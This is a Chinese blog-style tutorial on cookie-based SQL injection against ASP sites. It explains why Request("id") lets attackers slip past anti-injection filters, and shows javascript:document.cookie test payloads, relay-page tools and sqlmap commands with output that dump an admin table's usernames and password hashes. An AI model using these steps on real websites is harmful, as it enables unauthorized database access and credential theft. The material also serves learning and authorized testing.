2019年2月11日  (渗透--摘录1) cookie注入

抛开中转工具直接搞定Cookie注入

最近在翻看危险漫步博客的时候,拜读了一篇关于Cookie注入的文章,受益良多。文中详细解析了Cookie注入漏洞存在的原因以及多种利用方法,非常适合大家来学习进步,但是我总感觉不够完善,今天我就来补充一下。

想想看,大家平时在入侵中碰到Cookie注入漏洞的时候,多半采用的利用方法就是用”寂寞的刺猬”写的那款”注入中转生成器”来生成一个ASP页面。

然后将生成的页面文件放在ASP环境下,构造出合适的url就可以直接注入了。方法虽然不是很复杂,但是有的时候,专门为了一个注入漏洞来搭建一个ASP环境也挺不方便的。

一、工具的简单介绍

这里我就给大家介绍一款工具,可以直接搞定大部分Cookie注入漏洞,避免了因需要搭建ASP环境而带来的麻烦。

工具名称:鬼客、cookie全自动SQL注入工具

二、实践演示

搭站,经分析得知,存在cookie注入漏洞的页面是网站根目录下的news_more.asp文件,我们在网站中找到类似的链接,习惯性地在该地址后面添加一个单引号,弹出了防注入警告,继续提交-0和-1,分别返回了不同的页面。猜测该页面存在Cookie注入漏洞。

接下来打开鬼客,填写注入网址框、变量框、值框,填写连接类型和特征字符。连接类型指该注入点是数字型还是字符型注入点,关于怎么判断我就不多说了,无非是单引号符号闭合的问题,单纯看数字还是字母有时候不是那么准确。特征字符指当前页面存在而报错页面不存在的、可以起到区分作用的字符串。

填写好之后点击检测按钮,稍等一会,工具左下方提示存在注入。开始注入,点击检测表段,工具就开始用字典暴力破解表段了。。。左下方提示检测表段完成,检测出表段ADMIN;选中ADMIN,检测字段;检测内容。

有时候得到的密码可能是经过加密的,那时候就需要相应的查询解密。接下来是去后台测试注入到的账号密码是否正确,找到后台管理登录进去。

Cookie注入原理以及cookie中转注入

ASP中的Request对象

用来获取客户端提交的数据

集合

描述

ClientCertificate

包含了存储于客户证书中的域值(field values)

Cookies

包含了HTTP请求中发送的所有的cookie值

Form

包含了使用post方法由表单发送的所有的表单(输入)值

QueryString

包含了HTTP查询字符串中所有的变量值

ServerVariables

包含了所有的服务器变量值

使用方法一般是:request.[集合名称] (参数名称),比如获取从表单中提交的数据时可以这样写:request.form(“参数名称”),但ASP中规定也可以省略集合名称,直接用这样的方式获取数据:request(“参数名称”),当使用这样的方式获取数据时,ASP规定是按QueryString、Form、Cookies、ServerVariables的顺序来获取数据的。

我们来研究一下怎样情况下才会有Cookie注入

如果你学过ASP,你应该会知道Request.QueryString(GET)或Request.Form(POST)

备注:客户端向服务器提交HTTP请求,两种HTTP请求方法GET和POST

·GET -从指定的资源请求数据

·POST -向指定的资源提交要被处理的数据

这就是我们用于读取用户发给Web服务器的指定键中的值

我们有时为了简化代码,会写成 ID=Request(“ID”)

这样写法是简单了,但问题就来了

Web服务器是先取GET中的数据,没有再取POST中的数据,还是会取Cookies中的数据

防注入系统会检测GET和POST中的数据,如果有特殊字符(这里当然有特殊字符啦),就禁止数据的提交,但防注入系统没有检测cookies中的数据

这样,当我们使用request(“参数名称”)方式获取客户端提交的数据,并且没有对使用request.cookies(“参数名称”)方式提交的数据进行过滤时,Cookie注入就产生了。

注入步骤:

一、判断是否有Cookie注入漏洞

目标URL “http://www.xxx.com/x.asp?id=xxx”,首先去掉”id=xxx”,查看页面显示是否正常,如果不正常,说明参数在数据传递中有用,接着清空浏览器地址栏,输入

javascript:alert(document.cookie=”id=”+escape(“123”)); 回车  //将123保存在cookie的ID中

会看到弹出一个对话框,内容是id=123

之后,你刷新一个网页,如果正常显示,表示该网页是用Request(“ID”)这样的格式获取客户端提交的数据,这样就可以尝试进行cookie注入。

在浏览器地址栏输入

javascript:alert(document.cookie=”id=”+escape(“xx and 1=1”)); 回车

刷新目标页面,如果正常显示,可以再试下一步(如果不正常,则有可能被过滤掉了)

javascript:alert(document.cookie=”id=”+escape(“xx and 1=2”)); 回车

刷新目标页面,如果未正常显示,就说明存在cookie注入漏洞。

注:如果程序员是用Request.QueryString或Request.Form获取客户端提交的数据的话,是无法利用cookie绕过防注入系统进行注入的,因为服务器程序直接从GET或POST中读取数据,并不会去读cookie中的数据,所以无法利用。

二、利用cookie中转注入

·  手工注入,打开寂寞的刺猬写的注入中转生成器,选择cookie注入

填写 注入键名、注入URL地址、来源页、POST提交值jmdcw=xxx

点击生成ASP页面,得到jmCook.asp

然后将生成的页面文件放在ASP环境(wwwroot目录)下,安装

看到右下角一闪一闪的图标,表示web服务器正运行中

//搭建ASP环境的工具为netbox

构造出合适的url(http://127.0.0.1:端口号/jmCook.asp?jmdcw=xxx)

然后使用明小子或者啊D填写构造好的url,就可以注入成功了。

·  ASP手工注入辅助工具 v1.3

填写 注入点、变量、ID号,点击中转按钮,会生成新的url,

打开明小子,利用这个url做sql注入检测。

或使用sqlmap直接做cookie注入,不用中转。

备注:例如目标网站为:http://www.xxx.com/x.asp?id=1,则sqlmap命令为sqlmap.py -u “http://www.xxx.com/x.asp” --cookie “id=1” --level 2

sqlmap做cookie注入获取表段、字段、字段中的值

  1. cookie注入,获取表段

Do you want to URL encode cookies values (implementation specific)? [Y/n] Y

Cookie parameter ‘id’ is vulnerable. Do you want to keep testing the others(if any)? [y/N] Y

Do you want to use common table existence check? [Y/n/q] Y

Please enter number of threads? [Enter for 1 (current)] 10

Sqlmap.py -u http://www.xx.com/show.asp --cookie “id=18” ---table --level 2

运行结果为:

Database : Microsoft_Access_xxxdb

[x tables]

+--------+

| xxx  |

| xxx  |

+--------+

  1. 获取字段

Sqlmap.py -u http://www.xx.com/show.asp --cookie “id=18” --columns -T <table name> --level 2

运行结果为:

Database : Microsoft_Access_xxxdb

Table : admin

[x columns]

+----------+-----------+

| column|Type   |

+----------+-----------+

| user  |numeric |

| id    |numeric |

+----------+-----------+

  1. 获取字段中的内容

Sqlmap.py -u http://www.xx.com/show.asp --cookie “id=18” --dump -T <table name> -C “字段名1,字段名2” --level 2

Database : Microsoft_Access_xxxdb

Table : admin

[1 entry]

+----------+-----------+

| user  |id      |

+----------+-----------+

| aaaa  |MD5enc |

+----------+-----------+

转载于:https://www.cnblogs.com/bhjing/p/10392032.html

(渗透-摘录) cookie 注入相关推荐

  1. 【渗透测试】cookie注入笔记

    目录 什么是cookie? 什么是cookie注入? Cookie手注流程 一.判断注入点 二.判断字段数 三.判断回显点 四.查询相关内容 补充 答疑 1.为什么是select 1,2 不是 sel ...

  2. 关于sql注入之cookie注入

    小知识:所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后 ...

  3. 渗透学习-SQL注入篇-基础知识的学习(持续更新中)

    提示:仅供进行学习使用,请勿做出非法的行为.如若由任何违法行为,将依据法律法规进行严惩!!! 文章目录 前言 一.SQL注入产生的原因 二.手工注入大致过程 1.判断注入点: 2.猜解列名 3.猜解能 ...

  4. 渗透测试之SQL注入基础

    渗透测试之SQL注入基础 SQL注入类型 按照数据类型类型来分类 按照执行效果来分类(页面回显效果) 按照数据提交的方式来分类 判断注入类型的方法 MySQL注入基础 联合查询注入 布尔注入 时间盲注 ...

  5. MySQL cookie注入

    MySQL cookie注入 1.cookie介绍 服务器可以利用cookie包含信息的任意性来筛选并经常性维护这些信息,以判断在HTTP传输中的状态.cookie最典型的应用是判定注册用户是否已经登 ...

  6. MySQL注入读写文件、HTTP头中的SQL注入和cookie注入

    MySQL注入读写文件 MySQL数据库在渗透过程中能够使用的功能还是比较多的,除了读取数据之外,还可以进行对文件进行读写(前提是权限足够) 读取前提: 1.用户权限足够高,尽量具有root权限 2. ...

  7. Cookie注入是怎样产生的

    Cookie注入是怎样产生的 现在很多网站都加了防注入系统代码,你输入注入语句将无法注入~~感觉这样的防注入系统不错,但防注入系统没有注意到 Cookies 的问题!所以就有了Cookies注入~~ ...

  8. 【CyberSecurityLearning 60】ACCESS数据库的注入+ACCESS数据库的cookie注入

    目录 ACCESS注入 雷驰新闻系统v1.0环境搭建: ACCESS数据库注入演示1: 雷驰新闻系统v3.0环境搭建: cookie注入演示2: ACCESS数据库注入用sqlmap怎么做?演示: A ...

  9. 手工、工具分别实现cookie注入

    最开始的判断access类型的网站注入点可以用"1 and 1=1"来判断. 不过现在的网站基本上被挡住了.之后呢,可以考虑cookie注入. Dim Tc_Post,Tc_Get ...

最新文章

  1. 深入理解FFM原理与实践
  2. JavaScript DOM 6 - 节点的创建,插入,替换,删除
  3. Ubuntu 使用 Smina 对接教程
  4. chromium禁用ajax,页面加载时,jQuery AJAX不会在Chrome / Chromium中启动
  5. IP地址转化为32位无符号数
  6. 学习廖雪峰的Python教程之Python基础
  7. 3ds Max 2012 简体中文版 带注册机32位64位
  8. 机械类和计算机类哪个累哪个难,这几个大学专业累死人还难学,但是毕业却很好就业...
  9. html5音效,HTML5之Audio(六)—— 3D音效
  10. ERP标准物料编码规则指南
  11. 机器人学:(3)机器人运动学
  12. word域锁定和更新
  13. window本地代理及共享端口445修改
  14. Sonatype Nexus安装
  15. 浅谈FromHandle
  16. 关于向数据库中插入数据时报“An explicit value for the identity column in table can only be specified when ...“的错误
  17. Windows删除流氓软件方法记录
  18. Python小游戏-Las Vegas Black Jack- CASINO (21点)
  19. python显示图片 播放mp3_如何在python中从Mp3文件中提取和显示唱片集图片
  20. C++编程永不过时的语言,原因何在?

热门文章

  1. sp经营许可证适用范围是什么?
  2. 快速有效的从零开始学习3d建模?
  3. spark读取excel表格
  4. wxpython中表格顶角怎么设置,wxpython listctrl并修复列宽
  5. ZDM2004工具式绘图软件v1.7 for AutoCAD2004 1CD(水电版)
  6. spring加载不到.properties中属性问题(spring中类:PropertyPlaceholderConfigurer出现多次)
  7. 【Python】EasyGUI实例——实现NJUCM绩点计算器程序
  8. 音频特征提取——常用音频特征
  9. pikachu-远程代码、命令执行漏洞(RCE)
  10. python休假管理_Python 假期自学小结 其六